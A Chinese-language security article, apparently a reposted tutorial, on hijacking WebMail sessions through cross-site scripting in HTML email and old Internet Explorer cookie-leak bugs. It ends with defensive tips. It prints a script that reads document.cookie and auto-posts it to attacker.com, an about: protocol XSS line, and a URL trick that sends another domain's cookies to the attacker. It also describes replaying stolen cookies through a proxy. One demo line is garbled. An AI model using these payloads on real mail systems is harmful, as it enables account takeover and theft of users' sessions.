如果WebMail系統(tǒng)存在跨站腳本執(zhí)行漏洞,那么攻擊者就能欺騙用戶從而輕易地獲取cookie信息,雖然眾多網(wǎng)站存在此漏洞,但存在此漏洞的WebMail系統(tǒng)還很少見。
含有惡性腳本程序的html郵件能使攻擊者獲取WebMail的cookie信息。Html郵件中的腳本程序先提取當前WebMail的cookie信息,然后把它賦值給某個表單元素,再將表單自動提交給攻擊者,攻擊者從而獲得cookie會話信息。下面是一段演示程序:
<body>
<form method="post" action="http://attacker.com/getcookie.cgi" name="myform">
<input name="session" type="hidden">
</form>
<script language="JavaScript">
var cookie=(document.cookie);
alert(cookie);//這一句用于顯示當前cookie信息,當然,攻擊者不會這樣做。
document.myform.session.value=cookie;
document.myform.submit();
</script>
getcookie.cgi是放在攻擊者Web服務器上的一個cgi程序,用于獲取表單提交過來的cookie信息,并且做記錄或者通知攻擊者。當然,攻擊者會把html郵件、getcookie.cgi程序設計得更隱蔽,更具欺騙性,讓用戶難以察覺。
通常,瀏覽器根據(jù)web服務器的域名來分別保存cookie信息,并且只會把cookie信息發(fā)送給同一域名的Web服務器。不過,瀏覽器的漏洞給攻擊者獲取不同域名的cookie信息創(chuàng)造了機會,Internet Explorer、Netscape和Mozilla等被廣泛使用的瀏覽器都存在過此類漏洞。下面是幾個Internet Explorer瀏覽器(針對IE5.0、IE5.5或ie6.0)泄漏cookie信息的例子:
(1) Html語言中的object元素用于在當前頁面內(nèi)嵌入外部對象,但Internet Explorer瀏覽器對object元素屬性的處理不當會導致任意域的cookie信息被泄漏,演示代碼如下:
<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.,5000);
</script>
(2) Internet Explorer瀏覽器錯誤處理“about”協(xié)議使得一個精心構造的URL請求可能會顯示或修改任意域的cookie信息,例如(以下代碼在同一行):
about://www.anydomain.com/<script language=JavaScript>alert(document.cookie);</script>
(3) Internet Explorer瀏覽器會誤把URL中“%20”(空格符的URL編碼)字符串之前的主機名當做cookie信息所在的域,并且發(fā)送出去。假設攻擊者有一個域名“attacker.com”,攻擊者把它做成泛域名解析,即把“*.attacker.com”指向攻擊者Web服務器所在的IP地址,“attacker.com”下的任何子域名或主機名都會被解析成這個IP地址,當用戶提交了類似下面這樣的URL后,瀏覽器就會把“anydomain.com”域名的cookie信息發(fā)送給攻擊者:
http://anydomain.com%20.attacker.com/getcookie.cgi
如果攻擊者要獲取WebMail的臨時型cookie信息,就會在html郵件中寫入相應的代碼,在用戶瀏覽郵件時,該代碼自動執(zhí)行,使得攻擊者能夠獲取當前瀏覽器里的臨時cookie信息,也可以把用于獲取cookie信息的URL發(fā)送給用戶,誘騙用戶打開該URL,這樣攻擊者也能獲取臨時cookie信息。
在攻擊者獲取cookie信息后,如果cookie信息里含有密碼等敏感信息,那么攻擊者就能很輕易地侵入用戶的郵箱,雖然hotmail等WebMail系統(tǒng)曾經(jīng)發(fā)生過此類的情況,但cookie信息泄漏敏感信息的WebMail系統(tǒng)還很少見。
攻擊者在獲取cookie信息之后,還要讓此cookie信息由瀏覽器來存取從而與WebMail系統(tǒng)建立會話,這樣才能侵入用戶的WebMail。如果是持久型cookie信息,攻擊者所要做的是把這個信息復制到自己的cookie文件中去,由瀏覽器存取該cookie信息從而與WebMail系統(tǒng)建立會話,不過臨時cookie信息存儲在內(nèi)存中,并不容易讓瀏覽器存取。
為了讓瀏覽器存取臨時cookie信息,攻擊者可以編輯內(nèi)存中的cookie信息,或者修改公開源代碼的瀏覽器,讓瀏覽器能夠編輯cookie信息,不過這樣都不是很簡便的方法,簡便的方法是使用Achilles程序(packetstormsecurity.org網(wǎng)站有下載)。Achilles是一個http代理服務器,能夠載取瀏覽器和Web服務器間的http會話信息,并且在代理轉發(fā)數(shù)據(jù)之前可以編輯http會話以及臨時cookie信息。
WebMail系統(tǒng)應該避免使用持久型cookie會話跟蹤,使攻擊者在cookie會話攻擊上不能輕易得逞。為了防止cookie會話攻擊,用戶可以采取如下措施以加強安全:
(1) 設置瀏覽器的cookie安全級別,阻止所有cookie或者只接受某幾個域的cookie。
(2) 使用cookie管理工具,增強系統(tǒng)cookie安全,如Cookie Pal、Burnt Cookies等。
(3) 及時給瀏覽器打補丁,防止cookie信息泄漏。
新聞熱點
疑難解答